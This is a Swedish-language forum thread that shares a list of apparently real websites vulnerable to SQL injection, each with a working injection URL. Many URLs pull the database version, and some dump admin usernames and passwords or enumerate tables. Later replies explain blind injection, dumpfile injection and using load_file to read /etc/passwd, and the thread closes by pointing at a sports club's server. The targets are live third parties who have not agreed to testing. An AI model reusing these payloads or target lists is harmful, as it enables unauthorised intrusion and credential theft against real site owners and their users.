Samling av sidor med säkerhetsbrister - Del 2

hamnar på http://www.fuska.nu/spel/?s=7&id=1059 och där ser ja inget konstigt

uncommonlives.naa.gov.au/contents.asp?sID=3

Dock hitta ja inga username elr pass :O

https://www.microbric.com/page.php?sId=29+and+1=0+union+select+all+1,@@versi on,3,4,5,6--

Pallar ej fortsätta, 4.1.22 version ;P

http://www.calpilots.org/html/article.php?sid=2322+and+1=0+union+select+all+1,2, 3,4,@@version,6,7,8,9,10,11--

också 4.X version

http://www.nutriweb.org.my/article.php?sid=19+and+1=0+union+select+all+1,grou p_concat(UserName,0x3a,Password,0x3a,Status),3,4,5 ,6+from+MidaAdminLogin--

http://www.talkingcock.com/html/article.php?sid=2414+and+1=0+union+select+all+1,2, 3,@@version,5,6,7,8,9,10,11--

4.X version :S

http://www.lrwc.org/pub2.php?sid=18+and+1=0+union+select+all+1,@@versi on,3,4,5,6,7,8--

återigen en 4.X

http://www.lyricshotspot.com/song.php?sid=12285&aid=8716+and+1=0+union+select+a ll+1,concat_ws(@@version,0x3a,user(),database()),3 ,4--

återigen 4.X

http://www.caribbeanworldnews.com/entertainment_one.php?sid=1134

http://www.nctj.com/moreshortdispaly.php?sid=5+and+1=0+union+select+al l+1,2,@@version,4--

4.X

http://www.docdiller.com/article.php?sid=101+and+1=0+union+select+all+1,2,g roup_concat(table_name),4,5,6,7,8+from+information _schema.tables+where+table_schema=database()--

Resten får ni rota igenom själva ,p

http://qaos.com/article.php?sid=1534'

http://www.wikimatrix.org/search.php?sid=71665%27

http://www.comparesupermarkets.com/showStore.php?SID=40+and+1=0+union+select+all+1,gr oup_concat(Login,0x3a,Password),3,4,5,6,7,8,9,10,1 1,12,13,14,15+from+admin--

http://www.unponteper.it/liberatelapace/article.php?sid=1101+and+1=0+union+select+all+1,2, 3,4,5,6,7,8,9,10--

Stöter dock på problem när ja försöker köra schemata elr database() elr user() :O

http://www.talkingcock.com/html/article.php?sid=2583+and+1=0+union+select+all+1,2, 3,@@version,5,6,7,8,9,10,11--

version 4.X

http://www.djadvantage.com/article.php?sid=23+and+1=0+union+select+all+1,2,3, @@version,5,6,7,8,9--

version 4.X

http://www.seminare.fes-mup.de/seminardetailkm.php?sid=38'

http://www.aim-mia.de/article.php?sid=288'

http://symbii.com/stories.php?sid=618'

http://www.lcoastpress.com/journal.php?id=4'

Näe nu får de vara nog för idag. Natti!

Vad händer om du sätter frågan till false då?

Jo en blank sida kommer upp, men har en fråga. Hur skulle detta gå att utnyttja? Det går väl inte och få fram någon information då det alltid visar blank sida väl?

Jo, via en blind-injection.
Dessutom escapear dom inte '-tecken, vilket möjliggör en dumpfile-injection som jag nämde tidigare.

Aha, tackar så mycket! blir de söka efter lite fakta om det då! Tackar återigen!

okay tack för infon

Dock kräver en dumpfile-injection att användaren har FILE-privilegier vilket ett vettig admin skulle neka om jag inte är helt fel ute.

Det kan dock vara möjligt att använda load_file för att läsa ut filer ex. /etc/passwd, det kräver inte hela FILE utom bara load_file

*********************************
För er som är lite hockey-fanatiker så hittade jag något skoj hos Malmö Redhawks:
http://212.247.103.171/index.php?p=583%27
Varenda sida mer eller mindre, take your pick....